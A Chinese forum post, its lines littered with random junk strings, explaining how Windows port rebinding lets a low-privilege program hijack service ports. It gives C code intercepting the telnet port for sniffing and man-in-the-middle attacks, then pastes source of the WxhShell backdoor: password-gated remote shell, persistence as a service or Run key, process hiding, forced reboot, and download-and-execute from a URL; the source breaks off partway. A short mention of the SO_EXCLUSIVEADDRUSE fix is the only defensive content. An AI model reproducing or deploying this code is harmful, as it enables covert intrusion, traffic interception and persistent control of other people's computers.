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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Nz+Jf57t  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qDqgU  
tHhA _  
  saddr.sin_family = AF_INET; @_&@M~ u  
)v!>U<eprD  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @u./VK  
UR~9*`Z ,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); sR`WV6!9  
Z5/g\G[  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 '1{#I/P;  
W s!N%%g  
  这意味着什么?意味着可以进行如下的攻击: dm60O8  
~eH+*U|\|M  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 tA+ c  
I!y[7^R  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }.<%46_Z-  
~Co7%e V  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 i%7b)t[y  
z5CZ!"&v  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  q9j9"M'  
|BD]K0  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5b_[f(  
=N-,.{`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 i"uAT$xe  
u 89u#gCAC  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 }hOExTz  
4  |$|]E  
  #include gIR{!'  
  #include Yt"&8N]  
  #include ~%9ofXy  
  #include    pPcn F`A  
  DWORD WINAPI ClientThread(LPVOID lpParam);   #`6A}/@.+  
  int main() h<oQ9zW)  
  { o6^^hc\  
  WORD wVersionRequested; "M*Pt  
  DWORD ret; 8$!/Zg  
  WSADATA wsaData; Za{sT&(|  
  BOOL val; CtwMMZXX3  
  SOCKADDR_IN saddr; Z']D8>d  
  SOCKADDR_IN scaddr; YcS }ug7  
  int err; 8H_3.MK  
  SOCKET s; 3Q^@ !hu  
  SOCKET sc; ?^9TtxM  
  int caddsize; ``o:N`  
  HANDLE mt; {5U;9: sO6  
  DWORD tid;   dq?q(_9  
  wVersionRequested = MAKEWORD( 2, 2 ); U$KdY _Z97  
  err = WSAStartup( wVersionRequested, &wsaData ); M>df7.N7%P  
  if ( err != 0 ) { c?L_n=B  
  printf("error!WSAStartup failed!\n"); i]Or'L0c  
  return -1; ': Gk~   
  } apk06"/  
  saddr.sin_family = AF_INET; NfcQB;0  
   MT" 2^&R  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {9KG06%+  
e.eQZ5n~q`  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); iulM8"P  
  saddr.sin_port = htons(23); TL(L[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B[^mWVp6L  
  { O&93QN0  
  printf("error!socket failed!\n"); T`46\KkN  
  return -1; Zg%SE'kK  
  } IEV3(qzt  
  val = TRUE; 4.bL>Y>c  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 H".~@,-}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) e!}R1  
  { <{.o+~k  
  printf("error!setsockopt failed!\n"); ;p%a!Im_ <  
  return -1; }et^'BkA(  
  } 'sI=*c  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1c S{3  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 z#b31;A@$  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _Tyj4t0ElV  
Y3jb 'S4(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) c$ Kn.<a  
  { j3F[C:-zY  
  ret=GetLastError(); HPs$R [  
  printf("error!bind failed!\n"); _$"qC[.  
  return -1; a  1bu  
  } NL))!Pi  
  listen(s,2); u79.`,Ad&  
  while(1) }9e4?7  
  { $53I%.  
  caddsize = sizeof(scaddr); =vBxwa^  
  //接受连接请求 Kd CPt!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); SE{$a3`UzP  
  if(sc!=INVALID_SOCKET) 94"R&|  
  { pU)wxv[~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]>K%,}PS  
  if(mt==NULL) 7,ODh-?ez  
  { ,dKcxp~[  
  printf("Thread Creat Failed!\n"); 5nzk Zw  
  break; )` S,vF~  
  } GOHRBV  
  } JI5?, )-St  
  CloseHandle(mt); ^lB'7#7  
  } %"@KuqV  
  closesocket(s); #X7fs5$&  
  WSACleanup(); &ZFsK c#  
  return 0; n@w$5y1@  
  }   =kohQ d.n  
  DWORD WINAPI ClientThread(LPVOID lpParam) xtN%v0ZZ  
  { v]gJ 7x  
  SOCKET ss = (SOCKET)lpParam; P5Ms X~mT  
  SOCKET sc; a;m-Vu!  
  unsigned char buf[4096]; yef@V2Z+  
  SOCKADDR_IN saddr; `p9h$d  
  long num; d}%GHvOi  
  DWORD val; +Ck<tx3h&  
  DWORD ret; GWRKiTu9  
  //如果是隐藏端口应用的话,可以在此处加一些判断 6w<jg/5t  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   NMmk,  
  saddr.sin_family = AF_INET; % w 6fB  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Ph2jj,K  
  saddr.sin_port = htons(23); k2N[B(&4J  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5>4<_-Tm  
  { R1/ )Yy  
  printf("error!socket failed!\n"); <9YRSE [Ed  
  return -1; 3t[2Bd  
  } f&B&!&gZ  
  val = 100; n_sCZ6uXEQ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N54U [sy  
  { mYXe0E#6  
  ret = GetLastError(); Lllyx20U  
  return -1; PMjqcdBzm  
  } fZH:&EP  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )(b]-  )  
  { PoY+Y3  
  ret = GetLastError(); >F6'^9|  
  return -1; pUZe.S>G  
  } '>_'gR0O  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) nRN&u4  
  { B|gyr4]  
  printf("error!socket connect failed!\n"); %O>ehIerD  
  closesocket(sc); >V@-tT"^:  
  closesocket(ss); XJDp%B  
  return -1; -?' r_t  
  } u!?.vx<qy  
  while(1) 5E?{>1  
  { X*1vIs;[@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 G%-[vk#]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Af1mTbf=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 i[@*b/A  
  num = recv(ss,buf,4096,0); {e0cc1Up}  
  if(num>0) v/\l  
  send(sc,buf,num,0); :CNWHF4$  
  else if(num==0) ZY+NKb_  
  break; q5YgKz?IC  
  num = recv(sc,buf,4096,0); f {AbCi  
  if(num>0) C^XJE1D.  
  send(ss,buf,num,0); #g\O*oYaw  
  else if(num==0) pJ"Wg@+  
  break; ^tIs57!  
  } 5Q,#Co  
  closesocket(ss); w_q{C>- cR  
  closesocket(sc); _n@#Lufx  
  return 0 ; J7/"8S_#N  
  } 1om:SHw  
+'Pf|S  
p]:5S_$  
========================================================== #GT/Q3{C  
u)y6$  
下边附上一个代码,,WXhSHELL J,%v`A~ N  
yYwZZa1  
========================================================== b;`gxXeL  
cU?A|'  
#include "stdafx.h" r ,D T>  
2G<\Wz  
#include <stdio.h> =o;8xKj  
#include <string.h> &]3_ .C  
#include <windows.h> $(K[W}  
#include <winsock2.h> puA~}6C  
#include <winsvc.h> \ " {+J  
#include <urlmon.h> k?3NF:Yy7  
d4t %/Uh  
#pragma comment (lib, "Ws2_32.lib") }&Ngh4/  
#pragma comment (lib, "urlmon.lib") }p$>V,u  
q asbK:}  
#define MAX_USER   100 // 最大客户端连接数 !#` .Mv Z  
#define BUF_SOCK   200 // sock buffer py VTA1  
#define KEY_BUFF   255 // 输入 buffer I9rWut@+  
wO/}4>\  
#define REBOOT     0   // 重启 URdCV{@42  
#define SHUTDOWN   1   // 关机 Lqq RuKi  
;D&FZ|`(u  
#define DEF_PORT   5000 // 监听端口 [Nbs{f^J=  
Pp3<K649  
#define REG_LEN     16   // 注册表键长度 *cz nokq6  
#define SVC_LEN     80   // NT服务名长度 +KgLe>-}  
FY+0r67]  
// 从dll定义API w4P?2-kB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .w/w] Eq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q^>"AhOiU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); / CEnyE/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8+5# FC7  
9`VgD<?v  
// wxhshell配置信息 fT.18{'>  
struct WSCFG { E58fY|9  
  int ws_port;         // 监听端口 +XCLdf}dC  
  char ws_passstr[REG_LEN]; // 口令 `w';}sQA7  
  int ws_autoins;       // 安装标记, 1=yes 0=no bYQvh/(J  
  char ws_regname[REG_LEN]; // 注册表键名 0F> ils  
  char ws_svcname[REG_LEN]; // 服务名 "c` $U]M%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8Q ba4kgL  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o|O730"2F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _rt+OzZ*L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no b5lZ||W.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >?>@&A/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k%Dpy2uH  
nb dm@   
}; +A%|.;  
+ 2 v6fan  
// default Wxhshell configuration 15dhr]8E  
struct WSCFG wscfg={DEF_PORT, Yci>'$tQ  
    "xuhuanlingzhe", 'Dw+k;RH  
    1, F|pM$Kd`  
    "Wxhshell", 2*;qr|h,  
    "Wxhshell", $2uk;&"?A=  
            "WxhShell Service", @i2"+_}*  
    "Wrsky Windows CmdShell Service", /iURP-rl  
    "Please Input Your Password: ", kT)[<`p  
  1, V&)Jvx}^  
  "http://www.wrsky.com/wxhshell.exe", v6=pV4k9  
  "Wxhshell.exe" M|8vP53=q  
    }; 4FrP%|%E~  
8*o*?1.  
// 消息定义模块 GPV=(}z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &iKy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =`Ii ?xo  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HXV4E\JA  
char *msg_ws_ext="\n\rExit."; vDI$ QUMD6  
char *msg_ws_end="\n\rQuit."; BwOIdz%]OY  
char *msg_ws_boot="\n\rReboot..."; "?9rJx$  
char *msg_ws_poff="\n\rShutdown..."; h;" 9.  
char *msg_ws_down="\n\rSave to "; 3 UUOB.  
wr);+.T9R  
char *msg_ws_err="\n\rErr!"; M;2@<,rM  
char *msg_ws_ok="\n\rOK!"; ? nx3# <  
{BV0Y.O  
char ExeFile[MAX_PATH]; (U@Ks )  
int nUser = 0; <c'0-=  
HANDLE handles[MAX_USER]; X5U#^^O$E%  
int OsIsNt; [}>!$::Y  
hK]mnA[Y  
SERVICE_STATUS       serviceStatus; ZZ'5BfI"I%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^mwS6WH6  
Xz,fjKUnN  
// 函数声明 a+mrsyM  
int Install(void); /EP RgRX  
int Uninstall(void); vJ,r}$H3  
int DownloadFile(char *sURL, SOCKET wsh); c'|](vOd]  
int Boot(int flag); _v6x3 Z  
void HideProc(void); z] +&kNm  
int GetOsVer(void); [L m  
int Wxhshell(SOCKET wsl); njxfBA:  
void TalkWithClient(void *cs); WUBI( g\  
int CmdShell(SOCKET sock); vKO/hZBh  
int StartFromService(void); HPryq )z  
int StartWxhshell(LPSTR lpCmdLine); ldFR%v> 9  
A3mvd-k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); MCO2(E-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !i>d04u`%  
.Gt_~x  
// 数据结构和表定义 ]?G|:Kx$y%  
SERVICE_TABLE_ENTRY DispatchTable[] = kqkTz_r|H  
{ {8* d{0l  
{wscfg.ws_svcname, NTServiceMain}, r03%+:  
{NULL, NULL} X $2f)3  
}; j:2TicHDC  
vf5q8/a  
// 自我安装 9-+N;g!q  
int Install(void) 5 ) q_Aro  
{ 1/f{1k  
  char svExeFile[MAX_PATH]; \Up~ "q>Kb  
  HKEY key; eo*l^7  
  strcpy(svExeFile,ExeFile); ZsNZ3;d@u(  
ds2%i  
// 如果是win9x系统,修改注册表设为自启动 q|{z9V<  
if(!OsIsNt) { @<.ei)cqb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jM}(?^@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9=q&SG  
  RegCloseKey(key); .?vHoNvo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uBK0+FLL@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7gcR/HNeF  
  RegCloseKey(key); 5sANF9o!  
  return 0; 8_VGB0~3i  
    } 9 JhCSw-<)  
  } 0xx4rp H  
} ~N%+ZXh&E  
else { A`#?Bj   
OxPl0-]t  
// 如果是NT以上系统,安装为系统服务 m lxtey6H3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .{t*v6(TP  
if (schSCManager!=0) Xj{gyLs  
{ ]>Ym   
  SC_HANDLE schService = CreateService #mU<]O  
  ( =w* 8   
  schSCManager, X}xf_3N "  
  wscfg.ws_svcname, k'_f?_PBu  
  wscfg.ws_svcdisp, @t a:9wZ  
  SERVICE_ALL_ACCESS, qyxd9Lk1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $KQ q~|  
  SERVICE_AUTO_START, ttdY]+Fj  
  SERVICE_ERROR_NORMAL, >|z:CX$]  
  svExeFile, -wrVEH8  
  NULL, q1q 9W@H  
  NULL, SXP(C^?C  
  NULL, oNIYO*[  
  NULL, F3qCtx *N  
  NULL {_-T!yb  
  ); O_qwD6s-_  
  if (schService!=0) B~^*@5#0|  
  { }AA">FF'y4  
  CloseServiceHandle(schService); '#yqw%  
  CloseServiceHandle(schSCManager); 8{=|<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q=8YAiCu  
  strcat(svExeFile,wscfg.ws_svcname); n807?FORB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'YB[4Q /0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?QmtZG.$  
  RegCloseKey(key); Lu {/"&)  
  return 0; ]\KVA)\  
    } PDPK|FU  
  } :{N*Z}]  
  CloseServiceHandle(schSCManager); l;KrFJ6  
} f] #\&"  
} a7c`[   
^utOVi  
return 1; r-wCAk}m*?  
} z &X l  
E& .^|<n  
// 自我卸载 NuPlrCy;  
int Uninstall(void) EYn?YiVFU  
{ W03mdRW  
  HKEY key; =]]1x_GB  
QK?V^E  
if(!OsIsNt) { :Rb\Ca  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  t1 YB  
  RegDeleteValue(key,wscfg.ws_regname); { PX&#,_  
  RegCloseKey(key); Fy"M 4;7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~1D^C |%  
  RegDeleteValue(key,wscfg.ws_regname); r) x  
  RegCloseKey(key); ,\J 8(,%L  
  return 0; 1R3,Z8j'  
  } !DzeJWM|  
} #<< el;n  
} L&DjNu`!9  
else { Sc]K-]1(H  
iq*im$9 J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F$)l8}  
if (schSCManager!=0) 2PYnzAsl  
{ ;O% H]oN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _]OY[&R  
  if (schService!=0) QZ l#^-on  
  { ]CF-#q}'  
  if(DeleteService(schService)!=0) { mA{?E9W  
  CloseServiceHandle(schService); '";#v.!  
  CloseServiceHandle(schSCManager); +Q u.86dH  
  return 0; r@3-vLI!u  
  } A|8"}Hm  
  CloseServiceHandle(schService); .p! DVQ"a  
  } EW*sTI3  
  CloseServiceHandle(schSCManager); 0TmEa59P  
} a~7D4G  
} H[u9C:}9b  
,fp+nu8,  
return 1; -}%J3j|R:  
} !CUl1L1DSi  
q13fmK(n-5  
// 从指定url下载文件 AOZ C D{  
int DownloadFile(char *sURL, SOCKET wsh) FuiR\"Ww  
{ U0_)J1Yp  
  HRESULT hr; YbU8 xq  
char seps[]= "/"; bFX{|&tHU  
char *token; Mpojabsh  
char *file; Uw("+[5O0  
char myURL[MAX_PATH]; Ncz4LKzt  
char myFILE[MAX_PATH]; T&_&l;syA  
H ni^S  
strcpy(myURL,sURL); $XhMI;h  
  token=strtok(myURL,seps); $\BYN=#  
  while(token!=NULL) K5qCPt`'  
  { Z6zV 9hn  
    file=token; Q]K` p(  
  token=strtok(NULL,seps); G x[ZHpy;  
  } U*[E+Uq}:N  
9~Dg<wQ  
GetCurrentDirectory(MAX_PATH,myFILE); 49MEGl;K0\  
strcat(myFILE, "\\"); _iJ~O1qx,w  
strcat(myFILE, file); \C3I6Qx  
  send(wsh,myFILE,strlen(myFILE),0); Ljd`)+`D  
send(wsh,"...",3,0); rM7qBt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N]+6<  
  if(hr==S_OK) Xfc$M(a K{  
return 0; g,+ e3f  
else gyvrQ, u  
return 1; oN1D&*  
yNns6  
} E@SFK=`  
3IMvtg  
// 系统电源模块 [ \_o_W  
int Boot(int flag) :.x(( FU  
{ "|8oFf)l@B  
  HANDLE hToken; @)U.Dbm  
  TOKEN_PRIVILEGES tkp; U>PZ3  
StI N+S@Z  
  if(OsIsNt) { ?),b902C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \(Sly&gL  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7_\sx7h{3  
    tkp.PrivilegeCount = 1; NpH8=H9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; << >+z5D+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &42 ]#B"*  
if(flag==REBOOT) { i|^Q{3?o#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) aS [[ AL  
  return 0; FHOw ]"#  
} fB$a )~  
else { rwq   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7H3v[ f^Q  
  return 0; @Go_5X(  
} WN'AQ~qA  
  } ?J:w,,4m  
  else { ,R{&x7  
if(flag==REBOOT) { Wu][A\3D1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H a!,9{T  
  return 0; \L*%?~  
} P)Adb~r  
else { k)b{ UFRW  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x4q}xwH  
  return 0; ' ##?PQ*u  
} xvTtA61Vp  
} N1'`^ay$  
ahl|N`  
return 1; pQa51nc  
} <j'K7We/tP  
9+ 1{a.JO  
// win9x进程隐藏模块 ,%9XG077  
void HideProc(void) %ztZ#h~g  
{ 8:TX9`,  
SP%X@~d  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); QEJu.o  
  if ( hKernel != NULL ) N'2?Zb  
  { E/:U,u{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [edF'7La  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [5P-K{Ko  
    FreeLibrary(hKernel); e)e(f"t6Q  
  } qR@ES J_  
|ty&}'6C  
return; )U\i7[k>  
} ]ae(t`\l^  
!`{?qQ[=  
// 获取操作系统版本 XVs]Y'* x  
int GetOsVer(void) tb&?BCp  
{ 9 /H~hEVK  
  OSVERSIONINFO winfo; s-CAo~,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); iWt%Boyi  
  GetVersionEx(&winfo); [(n5-#1S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q,NnB{R  
  return 1; \Tz|COG5h\  
  else =IL\T8y09  
  return 0; p\[!=ZXFr\  
} 5HbHJ.|r  
&y_t,8>5  
// 客户端句柄模块 ?\\wLZ  
int Wxhshell(SOCKET wsl) 8-G )lyfj  
{ Q6(~VvC-  
  SOCKET wsh; Y(,RJ&7  
  struct sockaddr_in client; M ygCg(h  
  DWORD myID;  P@O_MT  
=i)%AnZ^9  
  while(nUser<MAX_USER) \92M\S  
{ q{9vY:`[  
  int nSize=sizeof(client); NO*, }aeG  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :a*>PMTn  
  if(wsh==INVALID_SOCKET) return 1; vC,FE )'  
.<t{saToU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u(Mbp$R' ?  
if(handles[nUser]==0) 6[t<g=  
  closesocket(wsh); 5RLO}Vn]  
else 29:2Xu i  
  nUser++; phDIUhL$z  
  } mu B Y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _f!ko<52  
`he# !"  
  return 0; [],[LkS  
} H r:*p6  
l4RqQ+[KA;  
// 关闭 socket X0j\nXk  
void CloseIt(SOCKET wsh) P"7` :a  
{ x)?V{YAL  
closesocket(wsh); n~0wq(8M  
nUser--; />xEpR3_A  
ExitThread(0); a @? $#>  
} F.TIdkvp  
8fQ~UcT$  
// 客户端请求句柄 O+-+=W  
void TalkWithClient(void *cs) fS}Eu4Xe  
{ ~;(\a@ _  
M.H!dZ  
  SOCKET wsh=(SOCKET)cs; S:!5 |o|  
  char pwd[SVC_LEN]; z"6o|]9I  
  char cmd[KEY_BUFF]; z_(l]Ern}  
char chr[1]; TY]0aw2]|7  
int i,j; <x`yoVPiZg  
E:rJi]  
  while (nUser < MAX_USER) { S[y'{;  
m !:F/?B  
if(wscfg.ws_passstr) { Ps0 Cc_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pRfKlTU\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vT5GUO{5  
  //ZeroMemory(pwd,KEY_BUFF); 5^uX!_ r`  
      i=0; _U}|Le@ e  
  while(i<SVC_LEN) { 5{-Hg[+9  
dtuCA"D  
  // 设置超时 A]"6/Lr9P  
  fd_set FdRead; ,GWa3.&.d  
  struct timeval TimeOut; v_5O*F7)  
  FD_ZERO(&FdRead); )-+tN>Bb  
  FD_SET(wsh,&FdRead); _ (b4|hJ'  
  TimeOut.tv_sec=8; Wda?$3!^q  
  TimeOut.tv_usec=0; @%g:'^/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _Nh])p-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oxFd@WV5  
tLJ 7tnB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M]V j  
  pwd=chr[0]; @{V`g8P>  
  if(chr[0]==0xd || chr[0]==0xa) { 4=q4_ \_T  
  pwd=0; ->|eMV'd  
  break; ^Ip\`2^u  
  } uEPm[oyX  
  i++; p!DdX  
    } ~RLjL"  
q|YnNk>1  
  // 如果是非法用户,关闭 socket 6+sz4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9on$0  
} >o"s1* {  
xD7Y"%Pbx  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); eI2041z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P3bRv^  
CEk [&39"  
while(1) { Iv7BIK^0  
 V13^SVM  
  ZeroMemory(cmd,KEY_BUFF); ~i-n_7+  
0Wd5s{S  
      // 自动支持客户端 telnet标准   \sGJs8#v][  
  j=0; f:q2JgX  
  while(j<KEY_BUFF) { \ bNDeA&l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QdZHIgh`i  
  cmd[j]=chr[0]; @ &c@  
  if(chr[0]==0xa || chr[0]==0xd) { !/2kJOSp  
  cmd[j]=0; (N}\Wft%  
  break; 2P57C;N8|  
  } 7TX$  
  j++; Q-_;.xy#4  
    } &hpznIN  
D6_#r=08  
  // 下载文件 Jv2V@6a(  
  if(strstr(cmd,"http://")) { %Y`)ZKh  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ADP[KZO$ 4  
  if(DownloadFile(cmd,wsh)) ke*&*mx"L  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ygm=q^bV]s  
  else -}qay@cDt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ),;h  
  } 7B _Wz9y  
  else { 5;{*mJ:F  
Wi)N/^;n  
    switch(cmd[0]) { !H^R_GC  
  sN[q. M?  
  // 帮助 #I yM`YB0  
  case '?': { Gd&G*x  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1g!%ej jd  
    break; GB >h8yXH  
  } +],2smd@N  
  // 安装 ~}YgZ/U7T  
  case 'i': { "(F:'J} X  
    if(Install()) qB3& F pgW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ({rescQB  
    else tV.96P;)/9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); az:lG(ZGw  
    break; [:Odb?+`F  
    } wu0J XB%&^  
  // 卸载 M>Ws}Y  
  case 'r': { xs  >Y  
    if(Uninstall()) h" YA>_1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T7G{)wm  
    else =>C3IR/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AK;G_L  
    break; Lp||C@h~  
    } [0NH#88ym<  
  // 显示 wxhshell 所在路径 vP<8 ,XG  
  case 'p': { \]/ 6>yT  
    char svExeFile[MAX_PATH]; !ImtnU}  
    strcpy(svExeFile,"\n\r"); D2Kh+~l  
      strcat(svExeFile,ExeFile); `H;O! ty&d  
        send(wsh,svExeFile,strlen(svExeFile),0); ]kkH|b$[T  
    break; fl9J  
    } 5|[\Se#  
  // 重启 .=b)Ae c  
  case 'b': { LTY(6we-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S1$&  
    if(Boot(REBOOT)) V,9UOC,Gn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -/qu."9(B  
    else { $ "^yoL  
    closesocket(wsh); ;@u+b0 j  
    ExitThread(0); 8>^O]5Wo`X  
    } I'uRXvEr7  
    break; DCtrTX  
    } 8J7<7Sx  
  // 关机 QXT *O  
